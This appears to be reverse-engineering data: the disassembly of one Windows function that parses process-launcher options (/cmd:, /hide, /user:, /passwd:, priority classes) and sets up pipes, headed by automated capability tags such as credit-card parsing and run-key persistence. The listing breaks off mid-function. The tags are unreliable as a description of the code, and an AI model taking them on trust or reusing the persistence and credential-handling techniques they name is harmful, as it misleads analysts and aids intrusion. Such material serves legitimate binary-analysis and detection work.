Function at 0x406b5b
Capabilities:
Check for time delay via gettickcount
Connect pipe
Create pipe
Create process on windows
Parse credit card information
Persist via run registry key
Query environment variable
Read file on windows
Resume thread
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
lea ebp, [esp - 0x60]
sub esp, 0x290
push ebx
push esi
mov dword [ebp + 0x48], ecx
push edi
lea ecx, [ebp - 0x84]
call fcn.0042460b
xor ebx, ebx
cmp dword [ebp + 0x68], ebx
je 0x406b9d
push dword [ebp + 0x68]
lea ecx, [ebp - 0x84]
call fcn.00424710
mov eax, dword [ebp - 0x84]
lea ecx, [ebp + 0x68]
mov dword [ebp + 0x68], eax
call fcn.00403937
lea ecx, [ebp - 0x98]
call fcn.0042460b
mov esi, dword [ebp + 0x70]
cmp esi, ebx
je 0x406bc1
push esi
lea ecx, [ebp - 0x98]
call fcn.00424710
mov esi, dword [ebp - 0x98]
cmp dword [ebp + 0x78], ebx
jne 0x406bcc
lea eax, [ebp - 0x1c]
mov dword [ebp + 0x78], eax
mov eax, dword [ebp + 0x68]
cmp eax, ebx
mov dword [ebp + 0x4c], eax
jne 0x406bd9
mov dword [ebp + 0x68], esi
mov eax, dword [ebp + 0x74]
lea ecx, [ebp - 0x68]
mov dword [ebp], eax
mov byte [ebp + 0x3f], bl
mov byte [ebp + 0x73], bl
mov byte [ebp + 0x77], bl
mov byte [ebp - 0xa], 1
mov byte [ebp + 0x53], bl
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xe], bl
mov byte [ebp + 0x27], bl
mov byte [ebp + 0x47], bl
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xd], bl
call fcn.0042460b
lea ecx, [ebp - 0x80]
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], ebx
mov byte [ebp - 9], bl
mov byte [ebp + 0x3e], bl
mov byte [ebp + 0x26], bl
mov dword [ebp + 4], ebx
mov dword [ebp + 0x28], ebx
call fcn.0042460b
lea ecx, [ebp - 0x18]
call fcn.0042460b
lea ecx, [ebp - 0x48]
call fcn.0042460b
lea ecx, [ebp - 0x40]
call fcn.0042460b
or dword [ebp - 0x44], 0xffffffff
lea ecx, [ebp - 0x8c]
mov byte [ebp + 0x1b], bl
mov dword [ebp - 8], ebx
call fcn.0042460b
xor eax, eax
push 0xf
pop ecx
mov dword [ebp - 0x1bc], 0x44
mov dword [ebp - 0x1b8], ebx
lea edi, [ebp - 0x1b4]
rep stosd dword es:[edi], eax
push 0x11
mov dword [ebp - 0xc0], ebx
pop ecx
lea edi, [ebp - 0x178]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0xbc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
cmp esi, ebx
lea edi, [ebp - 0xb0]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x54], ebx
mov dword [ebp + 0x34], ebx
stosd dword es:[edi], eax
mov dword [ebp - 0x58], ebx
je 0x406cb2
test byte [0x48ae0e], 3
je 0x406cc8
push str.WinSta0Default
lea ecx, [ebp - 0x58]
call fcn.00424710
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x1b4], eax
cmp esi, ebx
je 0x406cdd
cmp word [esi], 0x24
jne 0x406cdd
mov dword [ebp], 1
mov byte [ebp + 0x53], 1
cmp esi, ebx
push 2
mov dword [ebp - 0x30], ebx
pop edx
je 0x406e63
xor ecx, ecx
cmp word [esi], 0x7c
jne 0x406cfe
add dword [ebp + 0x68], edx
add esi, edx
inc ecx
mov dword [ebp - 0x30], ecx
jmp 0x406cff
inc ecx
cmp esi, ebx
je 0x406e63
cmp word [esi], 0x2a
jne 0x406e63
add dword [ebp + 0x68], edx
mov eax, dword [ebp + 0x68]
cmp word [eax], 0x7c
mov byte [ebp + 0x73], 0x10
jne 0x406d27
add dword [ebp + 0x68], edx
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp + 0x68]
mov ax, word [eax]
cmp ax, 0x31
jne 0x406d39
mov byte [ebp + 0x73], 0x11
jmp 0x406d54
mov esi, eax
or esi, 0x20
cmp si, 0x6e
jne 0x406d4a
mov byte [ebp + 0x73], 0x12
jmp 0x406d54
cmp ax, 0x2d
jne 0x406d57
mov byte [ebp + 0x73], 0x14
add dword [ebp + 0x68], edx
mov eax, dword [ebp + 0x68]
mov ax, word [eax]
call fcn.004213da
test al, al
jne 0x406d6d
mov ebx, ecx
jmp 0x4091f1
mov dword [ebp], ecx
lea ecx, [ebp + 0x68]
call fcn.00403937
mov edi, dword [ebp + 0x68]
xor eax, eax
mov ax, word [edi]
cmp ax, bx
mov esi, edi
je 0x406e5b
cmp ax, 0x3d
je 0x406d9b
add esi, edx
mov ax, word [esi]
cmp ax, bx
jne 0x406d8b
cmp esi, edi
je 0x406e5b
cmp word [esi], 0x3d
jne 0x406e5b
sub esi, edx
cmp word [esi], 0x2b
jne 0x406dbc
mov al, byte [esi]
mov byte [ebp - 9], al
sub esi, edx
cmp esi, edi
mov ecx, esi
jbe 0x406dd4
mov ax, word [ecx]
call fcn.004213da
test al, al
je 0x406dd4
sub ecx, edx
cmp ecx, edi
ja 0x406dc2
mov ax, word [ecx]
call fcn.004213da
test al, al
jne 0x406e5b
mov edx, ecx
inc ecx
inc ecx
jmp 0x406dfb
lea eax, [edx - 2]
mov dword [ebp - 0x70], eax
mov ax, word [eax]
call fcn.004213da
test al, al
jne 0x406dff
mov edx, dword [ebp - 0x70]
cmp edx, edi
ja 0x406de6
sub ecx, edx
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x18]
call fcn.00409ba0
mov edi, dword [ebp + 0x48]
push ebx
lea eax, [ebp - 0x18]
push eax
mov ecx, edi
call fcn.00402996
cmp byte [edi + 0x4d], bl
jne 0x406e27
test byte [edi + 9], 0xf
je 0x406e3d
push ebx
lea eax, [ebp - 0x18]
push eax
mov ecx, edi
call fcn.00402996
jmp 0x406e3d
cmp ax, 0x3d
je 0x406e4b
inc esi
inc esi
mov ax, word [esi]
cmp ax, bx
jne 0x406e35
cmp ax, 0x3d
jne 0x406e5b
add esi, 2
lea ecx, [ebp - 8]
mov dword [ebp - 8], esi
call fcn.00403937
jmp 0x406e66
xor ebx, ebx
inc ebx
jmp 0x4091f1
mov edi, dword [ebp + 0x48]
lea ecx, [ebp + 0x68]
call fcn.00403937
cmp dword [ebp - 0x30], ebx
jne 0x406e7b
cmp dword [ebp + 0x7c], ebx
mov byte [ebp + 0x5b], bl
je 0x406e7f
mov byte [ebp + 0x5b], 1
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp + 0x1c], ebx
mov dword [ebp + 8], ebx
call fcn.0042460b
lea ecx, [ebp - 0x50]
call fcn.0042460b
lea ecx, [ebp - 0x88]
call fcn.0042460b
push 6
push dword [ebp + 0x68]
mov dword [ebp - 0x94], ebx
push str.__cmd:
call fcn.004257a3
add esp, 0xc
test al, al
je 0x406fc6
mov eax, dword [ebp + 0x68]
add eax, 0xc
mov dword [ebp + 0x68], eax
mov dword [ebp + 0x5c], eax
cmp word [eax], 0x3a
jne 0x406f81
add eax, 2
mov dword [ebp + 0x5c], eax
cmp word [eax], 0x25
je 0x406eff
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp + 0x5c]
push eax
call fcn.0042e410
pop ecx
pop ecx
jmp 0x406f74
mov dword [ebp + 0x54], eax
jmp 0x406f0a
cmp cx, 0x25
je 0x406f17
inc eax
inc eax
mov dword [ebp + 0x5c], eax
mov cx, word [eax]
cmp cx, bx
jne 0x406f04
cmp word [eax], 0x25
jne 0x406f22
inc eax
inc eax
mov dword [ebp + 0x5c], eax
sub eax, dword [ebp + 0x54]
lea ecx, [ebp + 0x20]
sar eax, 1
push eax
push dword [ebp + 0x54]
call fcn.00424629
push 1
push ebx
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0x20]
mov ecx, edi
mov dword [ebp + 0x14], ebx
call fcn.0043dcfa
mov eax, dword [ebp + 0x14]
mov dword [ebp + 0x54], eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp + 0x54]
push eax
call fcn.0042e410
pop ecx
pop ecx
lea ecx, [ebp + 0x5c]
call fcn.00403937
lea ecx, [ebp + 0x14]
call fcn.00424686
lea ecx, [ebp + 0x20]
call fcn.00424686
mov eax, dword [ebp + 0x5c]
cmp word [eax], 0x3a
jne 0x406f81
add dword [ebp + 0x5c], 2
mov eax, dword [ebp + 0x5c]
mov dword [ebp + 0x68], eax
push 1
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x5c]
push eax
mov dword [ebp + 0x2c], ebx
call fcn.004124b4
add esp, 0xc
cmp dword [ebp + 0x5c], eax
mov dword [ebp + 0x68], eax
je 0x406fbe
push dword [ebp + 0x2c]
lea ecx, [ebp - 0x8c]
push dword [ebp + 0x5c]
call fcn.00409ba0
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x54], eax
lea ecx, [ebp + 0x68]
call fcn.00403937
cmp byte [ebp + 0x5b], bl
mov dword [ebp - 0x5c], ebx
jne 0x406fea
cmp dword [ebp + 0x4c], ebx
jne 0x406fea
push 1
push ebx
lea eax, [ebp - 0x5c]
push eax
push dword [ebp + 0x68]
mov ecx, edi
call fcn.0043dcfa
mov eax, dword [ebp - 0x5c]
mov dword [ebp + 0x68], eax
push 2
pop edi
push 8
push dword [ebp + 0x68]
push str.__clone:
call fcn.004257a3
add esp, 0xc
test al, al
je 0x407034
add dword [ebp + 0x68], 0x10
mov esi, dword [ebp + 0x68]
lea eax, [ebp + 0x68]
push eax
call fcn.00403953
mov eax, dword [ebp + 0x68]
cmp word [eax], bx
pop ecx
je 0x407022
mov word [eax], bx
add dword [ebp + 0x68], edi
lea ecx, [ebp + 0x68]
call fcn.00403937
cmp word [esi], bx
je 0x406fed
mov dword [ebp + 0x34], esi
jmp 0x406fed
push 0xb
push dword [ebp + 0x68]
push str.__runrmenu:
call fcn.004257a3
add esp, 0xc
test al, al
je 0x407066
add dword [ebp + 0x68], 0x16
mov esi, dword [ebp + 0x68]
lea eax, [ebp + 0x68]
push eax
call fcn.00403953
mov eax, dword [ebp + 0x68]
pop ecx
lea ecx, [ebp - 0x68]
jmp 0x407598
push 0xa
push dword [ebp + 0x68]
push str.__poprmenu
call fcn.004257a3
add esp, 0xc
test al, al
je 0x407114
add dword [ebp + 0x68], 0x14
mov eax, dword [ebp + 0x68]
mov dword [ebp + 0x38], eax
lea eax, [ebp + 0x68]
push eax
call fcn.00403953
mov eax, dword [ebp + 0x68]
cmp word [eax], bx
pop ecx
je 0x40709f
add dword [ebp + 0x68], edi
lea ecx, [ebp + 0x68]
call fcn.00403937
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [ebp + 0x38]
mov ax, word [eax]
cmp ax, bx
mov byte [ebp - 0xb], 1
je 0x4070d2
cmp ax, 0x30
jb 0x4070cf
cmp ax, 0x39
jbe 0x4070d2
add dword [ebp + 0x38], edi
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp + 0x38]
push eax
call fcn.0042e410
mov eax, dword [ebp + 0x38]
mov ax, word [eax]
cmp ax, bx
pop ecx
pop ecx
je 0x4070fe
cmp ax, 0x30
jb 0x4070fb
cmp ax, 0x39
jbe 0x4070fe
add dword [ebp + 0x38], edi
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp + 0x38]
push eax
call fcn.0042e410
pop ecx
jmp 0x4076f6
push 6
pop esi
push esi
push dword [ebp + 0x68]
push str.__pid:
call fcn.004257a3
add esp, 0xc
test al, al
je 0x407150
add dword [ebp + 0x68], 0xc
mov esi, dword [ebp + 0x68]
lea eax, [ebp + 0x68]
push eax
call fcn.00403953
mov eax, dword [ebp + 0x68]
cmp esi, eax
pop ecx
je 0x4075a3
lea ecx, [ebp - 0x74]
jmp 0x407598
push esi
push dword [ebp + 0x68]
push 0x4763dc
call fcn.004257a3
add esp, 0xc
test al, al
je 0x4071a9
add dword [ebp + 0x68], 0xc
mov eax, dword [ebp + 0x68]
mov dword [ebp - 0x60], eax
push 1
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x60]
push eax
mov dword [ebp - 0x4c], ebx
call fcn.004124b4
add esp, 0xc
cmp dword [ebp - 0x4c], ebx
mov dword [ebp + 0x68], eax
jle 0x4075a3
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x64]
push dword [ebp - 0x60]
call fcn.00409ba0
mov eax, dword [ebp - 0x64]
mov dword [ebp + 0x1c], eax
jmp 0x4075a3
push 7
push dword [ebp + 0x68]
push str.__logs:
call fcn.004257a3
add esp, 0xc
test al, al
je 0x407224
mov eax, dword [ebp + 0x68]
add eax, 0xe
xor ecx, ecx
mov dword [ebp + 0x68], eax
mov dword [ebp + 0x20], eax
cmp word [eax], 0x3f
sete cl
mov esi, ecx
cmp esi, ebx
je 0x4071e0
add eax, 2
mov dword [ebp + 0x20], eax
mov edi, eax
push 1
lea eax, [ebp + 0x54]
push eax
lea eax, [ebp + 0x20]
push eax
mov dword [ebp + 0x54], ebx
call fcn.004124b4
add esp, 0xc
cmp dword [ebp + 0x54], ebx
mov dword [ebp + 0x68], eax
jle 0x407217
cmp esi, ebx
je 0x40720b
cmp dword [0x48ade4], ebx
je 0x407217
push dword [ebp + 0x54]
lea ecx, [ebp - 0x80]
push edi
call fcn.00409ba0
lea ecx, [ebp + 0x68]
call fcn.00403937
jmp 0x406fea
push 7
lea eax, [ebp + 0x68]
push eax
push str.__nowin
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x407244
mov byte [ebp - 0xd], 1
jmp 0x406fed
push esi
lea eax, [ebp + 0x68]
push eax
push str.__hide
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x407266
mov dword [ebp + 4], 0x10000000
jmp 0x406fed
push esi
lea eax, [ebp + 0x68]
push eax
push str.__wait
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x407288
mov dword [ebp], 1
jmp 0x406fed
push 5
lea eax, [ebp + 0x68]
push eax
push str.__err
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x4072a8
or byte [ebp + 0x77], 1
jmp 0x406fed
push esi
lea eax, [ebp + 0x68]
push eax
push 0x4763bc
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x4072c7
or byte [ebp + 0x77], 3
jmp 0x406fed
push 7
lea eax, [ebp + 0x68]
push eax
push str.__limit
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x4072e7
mov byte [ebp - 0xe], 1
jmp 0x406fed
push 5
lea eax, [ebp + 0x68]
push eax
push str.__job
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x407307
mov byte [ebp + 0x27], 1
jmp 0x406fed
push esi
lea eax, [ebp + 0x68]
push eax
push str.__hook
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x407326
mov byte [ebp + 0x53], 1
jmp 0x406fed
push 5
lea eax, [ebp + 0x68]
push eax
push str.__min
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x407345
mov dword [ebp + 4], esi
jmp 0x406fed
push 5
lea eax, [ebp + 0x68]
push eax
push str.__max
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x407368
mov dword [ebp + 4], 3
jmp 0x406fed
push esi
lea eax, [ebp + 0x68]
push eax
push str.__show
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x40738a
mov dword [ebp + 4], 1
jmp 0x406fed
push esi
lea eax, [ebp + 0x68]
push eax
push str.__runs
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x4073a9
mov byte [ebp - 0xc], 1
jmp 0x406fed
push esi
lea eax, [ebp + 0x68]
push eax
push str.__no64
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x4073c7
mov byte [ebp - 0xa], bl
jmp 0x406fed
push 5
push dword [ebp + 0x68]
push str.__doc
call fcn.004257a3
add esp, 0xc
test al, al
je 0x407415
add dword [ebp + 0x68], 0xa
mov eax, dword [ebp + 0x68]
cmp word [eax], 0x3a
mov byte [ebp + 0x47], 1
jne 0x4075a3
add dword [ebp + 0x68], edi
mov esi, dword [ebp + 0x68]
lea eax, [ebp + 0x68]
push eax
call fcn.00403953
mov eax, dword [ebp + 0x68]
cmp esi, eax
pop ecx
je 0x4075a3
lea ecx, [ebp - 0x50]
jmp 0x407598
push 5
push dword [ebp + 0x68]
push str.__wd:
call fcn.004257a3
add esp, 0xc
test al, al
je 0x407515
add dword [ebp + 0x68], 0xa
mov esi, dword [ebp + 0x68]
lea eax, [ebp + 0x68]
push eax
call fcn.00403953
cmp esi, dword [ebp + 0x68]
pop ecx
je 0x4075a3
cmp word [esi], 0x2a
mov byte [ebp + 0x5f], bl
jne 0x407467
lea eax, [esi + 2]
cmp word [eax], 0x2a
mov byte [ebp + 0x5f], 1
jne 0x407465
mov byte [ebp + 0x5f], 2
jmp 0x407467
mov esi, eax
cmp word [esi], 0x22
jne 0x407496
add esi, edi
mov ecx, esi
mov dword [ebp + 0x40], ecx
xor eax, eax
mov ax, word [esi]
jmp 0x407489
cmp ax, 0x22
je 0x40748e
add ecx, edi
mov dword [ebp + 0x40], ecx
mov ax, word [ecx]
cmp ax, bx
jne 0x40747b
mov dword [ebp + 0x68], ecx
lea eax, [ebp + 0x68]
jmp 0x40749c
mov dword [ebp + 0x40], esi
lea eax, [ebp + 0x40]
push eax
call fcn.00403953
pop ecx
lea ecx, [ebp + 0x10]
call fcn.0042460b
cmp byte [ebp + 0x5f], 1
jne 0x4074e7
mov eax, dword [ebp + 0x40]
sub eax, esi
sar eax, 1
push eax
push esi
lea ecx, [ebp + 0x2c]
call fcn.00424629
lea eax, [ebp + 0x40]
push eax
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x2c]
call fcn.0042921d
add esp, 0xc
cmp dword [ebp + 0x40], ebx
mov esi, eax
je 0x4074df
sub dword [ebp + 0x40], edi
lea ecx, [ebp + 0x2c]
call fcn.00424686
mov eax, dword [ebp + 0x40]
cmp eax, esi
jbe 0x407508
sub eax, esi
sar eax, 1
push eax
push esi
lea ecx, [ebp - 0x94]
call fcn.00409ba0
mov eax, dword [ebp - 0x94]
mov dword [ebp + 8], eax
lea ecx, [ebp + 0x10]
call fcn.00424686
jmp 0x4075a3
push 7
push dword [ebp + 0x68]
push str.__user:
call fcn.004257a3
add esp, 0xc
test al, al
je 0x407548
add dword [ebp + 0x68], 0xe
mov esi, dword [ebp + 0x68]
lea eax, [ebp + 0x68]
push eax
call fcn.00403953
mov eax, dword [ebp + 0x68]
cmp esi, eax
pop ecx
je 0x4075a3
lea ecx, [ebp - 0x48]
jmp 0x407598
push 9
push dword [ebp + 0x68]
push str.__passwd:
call fcn.004257a3
add esp, 0xc
test al, al
je 0x407563
mov byte [ebp + 0x1b], bl
jmp 0x40757d
push 9
push dword [ebp + 0x68]
push str.__passwd
call fcn.004257a3
add esp, 0xc
test al, al
je 0x4075b0
mov byte [ebp + 0x1b], 1
add dword [ebp + 0x68], 0x12
mov esi, dword [ebp + 0x68]
lea eax, [ebp + 0x68]
push eax
call fcn.00403953
mov eax, dword [ebp + 0x68]
cmp esi, eax
pop ecx
je 0x4075a3
lea ecx, [ebp - 0x40]
sub eax, esi
sar eax, 1
push eax
push esi
call fcn.00409ba0
lea ecx, [ebp + 0x68]
call fcn.00403937
jmp 0x406fed
push 9
lea eax, [ebp + 0x68]
push eax
push str._REALTIME
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x4075d3
mov dword [ebp + 0x28], 0x100
jmp 0x406fed
push 5
lea eax, [ebp + 0x68]
push eax
push str._HIGH
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x4075f6
mov dword [ebp + 0x28], 0x80
jmp 0x406fed
push 0xc
lea eax, [ebp + 0x68]
push eax
push str._ABOVENORMAL
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x407619
mov dword [ebp + 0x28], 0x8000
jmp 0x406fed
push 7
lea eax, [ebp + 0x68]
push eax
push str._NORMAL
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x40763c
mov dword [ebp + 0x28], 0x20
jmp 0x406fed
push 0xc
lea eax, [ebp + 0x68]
push eax
push str._BELOWNORMAL
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x40765f
mov dword [ebp + 0x28], 0x4000
jmp 0x406fed
push 4
lea eax, [ebp + 0x68]
push eax
push str._LOW
call fcn.0042c9b5
add esp, 0xc
test al, al
jne 0x4076fc
push str._IDLE
push 5
pop eax
lea esi, [ebp + 0x68]
call fcn.00406761
test al, al
pop ecx
jne 0x4076fc
push 5
mov eax, esi
push eax
push str.__mem
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x4076ae
mov byte [ebp + 0x3e], 1
jmp 0x406fed
push 5
lea eax, [ebp + 0x68]
push eax
push str.__raw
call fcn.0042c9b5
add esp, 0xc
test al, al
je 0x4076ce
mov byte [ebp + 0x26], 1
jmp 0x406fed
push edi
lea eax, [ebp + 0x68]
push eax
push 0x475ee4
call fcn.0042c9b5
add esp, 0xc
test al, al
jne 0x407708
mov eax, dword [ebp + 0x68]
cmp word [eax], 0x2d
jne 0x407708
lea eax, [ebp + 0x68]
push eax
call fcn.00403977
pop ecx
jmp 0x406fed
mov dword [ebp + 0x28], 0x40
jmp 0x406fed
mov eax, dword [ebp - 8]
cmp eax, ebx
je 0x407732
cmp byte [ebp + 0x5b], bl
mov dword [ebp + 0x68], eax
jne 0x407732
cmp dword [ebp + 0x4c], ebx
jne 0x407732
push 1
push ebx
lea ecx, [ebp - 0x5c]
push ecx
mov ecx, dword [ebp + 0x48]
push eax
call fcn.0043dcfa
mov eax, dword [ebp - 0x5c]
mov dword [ebp + 0x68], eax
mov esi, dword [ebp + 0x1c]
cmp esi, ebx
mov dword [ebp - 0xd8], ebx
mov dword [ebp - 0xd4], ebx
mov dword [ebp - 0xd0], ebx
mov dword [ebp + 0x10], ebx
je 0x407753
cmp word [esi], bx
jne 0x407756
mov byte [ebp + 0x3e], bl
cmp byte [ebp + 0x3e], bl
je 0x407782
push 0x2a
push esi
call dword [sym.imp.SHLWAPI.dll_StrChrW]
cmp eax, ebx
mov dword [ebp + 0x10], eax
je 0x407773
mov word [eax], bx
add eax, edi
mov dword [ebp + 0x10], eax
lea eax, [ebp - 0xd8]
push eax
push esi
call fcn.0040e6ba
pop ecx
pop ecx
mov eax, dword [ebp + 0x78]
xor ecx, ecx
inc ecx
mov dword [eax], ecx
xor eax, eax
lea edi, [ebp - 0xc4]
mov dword [ebp - 0xc8], ebx
stosd dword es:[edi], eax
mov dword [ebp - 0xf8], ebx
lea edi, [ebp - 0xf4]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
cmp dword [ebp + 0x34], ebx
mov dword [ebp - 0x78], ebx
setne al
cmp byte [ebp + 0x5b], bl
mov dword [ebp - 0x24], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x40], ebx
mov dword [ebp + 0x38], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp + 0xc], eax
mov dword [ebp - 0xe4], 0xc
mov dword [ebp - 0xe0], ebx
mov dword [ebp - 0xdc], ecx
mov dword [ebp - 0x7c], ebx
je 0x407bb8
mov ecx, dword [ebp + 0x68]
cmp word [ecx], 0x7c
mov dword [ebp + 0x14], ebx
jne 0x407819
inc ecx
inc ecx
xor eax, eax
mov dword [ebp + 0x68], ecx
mov ax, word [ecx]
cmp ax, 0x7c
je 0x407800
call fcn.004213da
test al, al
jne 0x407800
mov dword [ebp + 0x4c], ecx
push 0x7c
push ebx
push dword [ebp + 0x68]
call dword [sym.imp.SHLWAPI.dll_StrRChrW]
mov edi, eax
cmp edi, ebx
je 0x407854
mov word [edi], bx
inc edi
inc edi
lea ecx, [ebp + 0x5c]
mov dword [ebp + 0x5c], edi
call fcn.00403937
mov edi, dword [ebp + 0x5c]
cmp word [edi], bx
je 0x40781c
mov eax, dword [ebp + 0x4c]
cmp word [eax], bx
mov cl, 1
je 0x407856
mov al, cl
jmp 0x40785f
xor cl, cl
xor al, al
cmp cl, bl
jne 0x40785f
mov edi, dword [ebp + 0x4c]
cmp al, bl
mov dword [ebp - 0x1c], edi
je 0x40791a
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp + 0x54], eax
push ebx
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x20]
push eax
xor esi, esi
lea eax, [ebp - 0x14]
inc esi
push eax
mov dword [ebp - 0x3c], 0xc
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], esi
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x4078a3
mov ecx, dword [ebp + 0x48]
push esi
call fcn.0040ac88
mov esi, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 3
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0x54]
push dword [ebp - 0x14]
push dword [ebp + 0x54]
call esi
cmp dword [ebp - 0x20], ebx
mov word [ebp + 0x5e], bx
je 0x4078e8
push dword [ebp - 0x20]
mov ecx, dword [ebp + 0x48]
push ebx
push ebx
lea eax, [ebp + 0x5e]
push eax
push ecx
push dword [ebp + 0x4c]
call fcn.00406b5b
cmp dword [ebp - 0x20], ebx
je 0x4078e8
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 3
push 1
push ebx
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0x54]
mov dword [ebp - 0x20], ebx
push dword [ebp - 0x14]
push dword [ebp + 0x54]
call esi
mov eax, dword [ebp - 0x14]
cmp eax, ebx
je 0x40791a
or byte [ebp - 0x18f], 1
mov dword [ebp + 0xc], 1
mov dword [ebp - 0x184], eax
mov ax, word [edi]
cmp ax, bx
je 0x407b56
cmp ax, 0x3c
je 0x40793c
cmp ax, 0x3e
je 0x40793c
inc edi
inc edi
mov ax, word [edi]
cmp ax, bx
jne 0x407926
mov ax, word [edi]
cmp ax, bx
je 0x407b56
cmp ax, 0x3c
jne 0x407a0c
mov word [edi], bx
inc edi
inc edi
lea ecx, [ebp + 0x5c]
mov dword [ebp + 0x5c], edi
call fcn.00403937
mov edi, dword [ebp + 0x5c]
mov ax, word [edi]
cmp ax, bx
je 0x407a0c
mov esi, edi
cmp ax, 0x3c
je 0x407989
cmp ax, 0x3e
je 0x407989
inc edi
inc edi
mov ax, word [edi]
cmp ax, bx
jne 0x407973
mov eax, edi
sub eax, esi
sar eax, 1
push eax
push esi
lea ecx, [ebp - 0x28]
call fcn.00424629
lea ecx, [ebp + 0x4c]
call fcn.0042460b
mov ecx, dword [ebp + 0x48]
push 1
push ebx
lea eax, [ebp + 0x4c]
push eax
push esi
call fcn.0043dcfa
mov eax, dword [ebp + 0x4c]
push eax
mov dword [ebp + 0x20], eax
call fcn.0040a93c
pop ecx
lea ecx, [ebp + 0x20]
call fcn.00403937
cmp dword [ebp - 4], ebx
je 0x4079d4
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push 3
lea eax, [ebp - 0xe4]
push eax
push 7
push 0xc0000000
push dword [ebp + 0x20]
lea ecx, [ebp - 4]
mov dword [ebp - 4], ebx
call fcn.00403993
cmp dword [ebp - 4], ebx
jne 0x4079fc
mov dword [ebp - 4], ebx
lea ecx, [ebp + 0x4c]
call fcn.00424686
lea ecx, [ebp - 0x28]
call fcn.00424686
cmp word [edi], 0x3e
jne 0x40791a
mov word [edi], bx
cmp word [edi - 2], 0x32
mov dword [ebp + 0x2c], ebx
mov byte [ebp + 0x5b], 1
jne 0x407a2f
mov byte [ebp + 0x5b], 2
mov word [edi - 2], bx
inc edi
inc edi
cmp word [edi], 0x3e
mov dword [ebp + 0x5c], edi
jne 0x407a46
inc edi
inc edi
mov dword [ebp + 0x2c], 1
mov dword [ebp + 0x5c], edi
cmp word [edi], 0x26
jne 0x407a55
inc edi
inc edi
mov byte [ebp + 0x5b], 3
mov dword [ebp + 0x5c], edi
lea ecx, [ebp + 0x5c]
call fcn.00403937
mov edi, dword [ebp + 0x5c]
mov ax, word [edi]
cmp ax, bx
je 0x40791a
mov esi, edi
cmp ax, 0x3c
je 0x407a84
cmp ax, 0x3e
je 0x407a84
inc edi
inc edi
mov ax, word [edi]
cmp ax, bx
jne 0x407a6e
mov eax, edi
sub eax, esi
sar eax, 1
push eax
push esi
lea ecx, [ebp + 0x30]
call fcn.00424629
lea ecx, [ebp + 0x54]
call fcn.0042460b
mov ecx, dword [ebp + 0x48]
push 1
push ebx
lea eax, [ebp + 0x54]
push eax
push esi
call fcn.0043dcfa
mov eax, dword [ebp + 0x54]
push eax
mov dword [ebp + 0x20], eax
call fcn.0040a93c
pop ecx
lea ecx, [ebp + 0x20]
call fcn.00403937
test byte [ebp + 0x5b], 1
je 0x407ad8
cmp dword [ebp + 0x40], ebx
je 0x407ad5
push dword [ebp + 0x40]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp + 0x40], ebx
test byte [ebp + 0x5b], 2
je 0x407af2
cmp dword [ebp + 0x38], ebx
je 0x407aec
push dword [ebp + 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp + 0x38], ebx
mov dword [ebp + 0x14], ebx
push ebx
push ebx
push 4
lea eax, [ebp - 0xe4]
push eax
push 7
push 0x40000000
push dword [ebp + 0x20]
lea ecx, [ebp + 0x5c]
